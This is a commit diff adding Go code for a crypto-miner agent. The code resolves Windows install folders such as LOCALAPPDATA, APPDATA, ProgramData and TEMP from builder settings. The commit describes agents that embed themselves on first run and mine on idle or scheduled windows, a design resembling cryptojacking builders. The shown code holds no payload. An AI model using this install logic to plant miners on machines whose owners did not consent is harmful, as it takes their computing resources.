Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

agent/config/install.go

@@ -0,0 +1,101 @@
+package config
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
+
+func (c RuntimeConfig) InstallDirectory() (string, error) {
+	base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
+	if err != nil {
+		return "", err
+	}
+
+	rel := strings.TrimSpace(c.InstallRelativePath)
+	if rel == "" {
+		rel = DefaultInstallRelativePath
+	}
+	rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
+	rel = filepath.FromSlash(rel)
+	rel = strings.Trim(rel, `\/`)
+	if rel == "" {
+		return "", fmt.Errorf("install relative path resolved to empty")
+	}
+
+	full := filepath.Join(base, rel)
+	return filepath.Clean(full), nil
+}
+
+func resolveInstallBase(baseType, customBase string) (string, error) {
+	switch strings.ToLower(strings.TrimSpace(baseType)) {
+	case "", "localappdata":
+		return requireEnv("LOCALAPPDATA")
+	case "appdata":
+		return requireEnv("APPDATA")
+	case "programdata":
+		return requireEnv("ProgramData")
+	case "userprofile":
+		return requireEnv("USERPROFILE")
+	case "temp":
+		if v := os.Getenv("TEMP"); v != "" {
+			return v, nil
+		}
+		return requireEnv("TMP")
+	case "custom":
+		custom := strings.TrimSpace(customBase)
+		if custom == "" {
+			return "", fmt.Errorf("custom install base path is required when install_base is custom")
+		}
+		return expandWindowsEnv(custom), nil
+	default:
+		return "", fmt.Errorf("unsupported install base: %s", baseType)
+	}
+}
+
+func expandInstallTokens(path, workerName, buildID, processName string) string {
+	shortBuild := buildID
+	if len(shortBuild) > 8 {
+		shortBuild = shortBuild[:8]
+	}
+	replacer := strings.NewReplacer(
+		"{worker}", sanitizePathToken(workerName),
+		"{build}", sanitizePathToken(buildID),
+		"{build_short}", sanitizePathToken(shortBuild),
+		"{process}", sanitizePathToken(processName),
+	)
+	return replacer.Replace(path)
+}
+
+func sanitizePathToken(name string) string {
+	replacer := strings.NewReplacer(
+		" ", "-", "/", "-", "\\", "-", ":", "-",
+		"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
+	)
+	clean := replacer.Replace(strings.TrimSpace(name))
+	if clean == "" {
+		return "miner"
+	}
+	return clean
+}
+
+func requireEnv(key string) (string, error) {
+	value := os.Getenv(key)
+	if value == "" {
+		return "", fmt.Errorf("environment variable %s is not set", key)
+	}
+	return value, nil
+}
+
+func expandWindowsEnv(path string) string {
+	out := path
+	for _, key := range []string{
+		"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
+	} {
+		out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
+	}
+	return out
+}